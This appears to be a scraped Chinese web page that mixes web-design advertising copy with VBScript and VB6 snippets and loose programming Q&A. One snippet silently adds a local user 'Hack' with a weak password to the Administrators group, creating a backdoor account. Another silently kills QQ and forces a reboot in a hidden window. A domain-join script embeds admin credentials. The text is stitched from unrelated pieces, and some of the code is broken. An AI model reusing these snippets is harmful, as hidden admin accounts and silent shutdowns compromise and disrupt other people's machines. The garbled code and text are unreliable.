Dim wsh
站在用戶的角度思考問題,與客戶深入溝通,找到太白網(wǎng)站設(shè)計與太白網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗(yàn)好的作品,建站類型包括:網(wǎng)站制作、做網(wǎng)站、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、國際域名空間、網(wǎng)絡(luò)空間、企業(yè)郵箱。業(yè)務(wù)覆蓋太白地區(qū)。
Set wsh=CreateObject("Wscript.Shell")
wsh.Run "Net User Hack 12345 /Add ",False
wsh.Run "Net Localgroup Administrators Hack /Add",False
Set wsh=Nothing
調(diào)用命令行建立本地用戶組
**********************************************************
別人的代碼,我沒有修改。。。
添加局域網(wǎng)內(nèi)的機(jī)器進(jìn)入域,里面的相關(guān)名稱請自行修改。
Const JOIN_DOMAIN = 1
Const ACCT_CREATE = 2
Const ACCT_DELETE = 4
Const WIN9X_UPGRADE = 16
Const DOMAIN_JOIN_IF_JOINED = 32
Const JOIN_UNSECURE = 64
Const MACHINE_PASSWORD_PASSED = 128
Const DEFERRED_SPN_SET = 256
Const INSTALL_INVOCATION = 262144
strDomain ="china.com.cn" ’域
strPassword ="bbb-777" '域管理密碼
strUser ="admin_china" ‘域管理員名
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName
Set objComputer = GetObject("winmgmts:{impersonationLevel=Impersonate}!\\" _
strComputer "\root\cimv2:Win32_ComputerSystem.Name='" _
strComputer "'")
ReturnValue = objComputer.JoinDomainOrWorkGroup(strDomain, _
strPassword, strDomain "\" strUser, NULL, _
JOIN_DOMAIN + ACCT_CREATE)
wscript.echo "您已成功加入域。"
wscript.echo "請手動重啟電腦!"
**************************************
加入后,請再“Wscript.Run "Net Localgroup Administrators 賬號 /add”
”VBS腳本“可以用任何純
文本編輯
工具編寫,包括系統(tǒng)自帶的”記事本“。VB.NET當(dāng)然也可以。
如果你是需要語法提示之類的,VB.NET可以提供絕大部分的語法提示。畢竟
VBS
是
VB
的子集。
VB很強(qiáng)大,高手可以用它做90%的各種應(yīng)用。編寫一些簡單的游戲輔助腳本是沒問題的。
VBS是Visual Basic Script的簡稱,它是VB的一個子集,具有VB的部分功能,而適應(yīng)性更強(qiáng)。
一般來說,會VB的人只需要簡單的了解一下區(qū)別就能熟練編寫VBS代碼了。
u3d支持c#和js兩種腳本,而且c#是最普遍的,咱們看unity用的編譯器,是c#的跨平臺開源編譯器mono,而且是unity更改過得mono,這個編譯器是基于c#.net2.0的語法的,但是由于unity的更改,使得它也支持了一些.net3.5的語法,比如匿名函數(shù)lambda表.
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了(這是VB 6.0的代碼)
原理就是用VB調(diào)用命令提示符在執(zhí)行命令,如果你還想用VB調(diào)用其他的cmd命令,就把"/c"后的東西換成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的“-r”后加上“-t 5”就可以延遲5秒再重啟:Shell "cmd.exe /c shutdown -r -t 5",vbHide,后邊的數(shù)字可以換成別的,單位秒。vbHide可以隱藏cmd窗口,即那個黑框框。